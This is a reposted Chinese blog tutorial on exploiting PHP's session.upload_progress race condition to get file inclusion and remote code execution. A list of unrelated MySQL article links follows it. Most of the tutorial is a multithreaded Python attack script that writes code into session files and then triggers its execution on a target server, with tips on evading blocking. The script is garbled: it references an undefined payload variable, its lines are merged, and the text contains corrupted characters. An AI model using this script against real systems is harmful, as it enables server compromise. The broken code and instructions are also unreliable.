博客
关于我
利用session.upload_progress进行文件包含
阅读量:789 次
发布时间:2019-03-25

本文共 1715 字,大约阅读时间需要 5 分钟。

为了避开Web服务器的目录traversal防护,我们可以利用PHP会话上传功能进行条件竞争。以下是实现攻击的详细步骤:

  • 禁用自动清理会话文件

    • 修改php.ini,设置session.upload_progress.cleanup为0,这样在HTTP请求结束后不会自动删除会话文件。
  • 编写注入木马

    • 创建一个简单的PHP脚本,利用PHP_SESSION_UPLOAD_PROGRESS参数注入恶意代码。例如:
    • 将此脚本作为文件请求 отправ到目标服务器。
  • 自动化发送请求

    • 使用Python编写脚本,利用多线程和事件来发送大量请求,提高攻击成功率。例如:
      import ioimport requestsimport threadingimport timesessid = 'dummy_session'data = {    'cmd': 'system("echo hello;")'}global eventevent = threading.Event()def write_session():    while True:        f = io.BytesIO()        requests.post(            'http://target.com/session.php',            data={'PHP_SESSION_UPLOAD_PROGRESS': raw_input_evil_code},            files={'file': ('malicious.php', f)},            cookies={'PHPSESSID': sessid}        )        time.sleep(0.5)def read_response():    while True:        try:            response = requests.post(                'http://target.com/session.php?file=/some/path',                data=data,                cookies={'PHPSESSID': sessid}            )            if 'hello' in response.text:                print("Injection successful!")                event.clear()            else:                print("Trying again...")        except:            print("Error, retrying...")            time.sleep(1)with requests.Session() as session:    for _ in range(100):        threading.Thread(target=write_session).start()    for _ in range(100):        threading.Thread(target=read_response).start()    event.wait()
  • 处理异常并保持会话状态

    • 在多次尝试时,使用重试策略,如随机等待时间和指数重试,避免被服务器封锁。
    • 使用global变量或类似机制管理事件,确保攻击未完成时不提前停止。
  • 效果验证

    • 在目标服务器中查找新的会话文件。
    • 在响应中查找注入代码的执行结果,如确认木马成功执行的日志或终端输出。
  • 注意

    • 攻击行为可能触犯法律法规,请谨慎实施。
    • 了解服务器的防护机制,如IP封锁、速率限制等。
    • �.IT安全基础知识的缺口可能导致攻击失败,建议深入学习。

    通过以上步骤,可以尽量提高攻击的成功率,但仍需考虑目标服务器的安全措施和潜在的检测机制。

    转载地址:http://klouk.baihongyu.com/

    你可能感兴趣的文章
    Webpack 之 basic chunk graph
    查看>>
    Mysql5.7版本单机版my.cnf配置文件
    查看>>
    mysql5.7的安装和Navicat的安装
    查看>>
    mysql5.7示例数据库_Linux MySQL5.7多实例数据库配置
    查看>>
    Mysql8 数据库安装及主从配置 | Spring Cloud 2
    查看>>
    mysql8 配置文件配置group 问题 sql语句group不能使用报错解决 mysql8.X版本的my.cnf配置文件 my.cnf文件 能够使用的my.cnf配置文件
    查看>>
    MySQL8.0.29启动报错Different lower_case_table_names settings for server (‘0‘) and data dictionary (‘1‘)
    查看>>
    MYSQL8.0以上忘记root密码
    查看>>
    Mysql8.0以上重置初始密码的方法
    查看>>
    mysql8.0新特性-自增变量的持久化
    查看>>
    Mysql8.0注意url变更写法
    查看>>
    Mysql8.0的特性
    查看>>
    MySQL8修改密码报错ERROR 1819 (HY000): Your password does not satisfy the current policy requirements
    查看>>
    MySQL8修改密码的方法
    查看>>
    Mysql8在Centos上安装后忘记root密码如何重新设置
    查看>>
    Mysql8在Windows上离线安装时忘记root密码
    查看>>
    MySQL8找不到my.ini配置文件以及报sql_mode=only_full_group_by解决方案
    查看>>
    mysql8的安装与卸载
    查看>>
    MySQL8,体验不一样的安装方式!
    查看>>
    MySQL: Host '127.0.0.1' is not allowed to connect to this MySQL server
    查看>>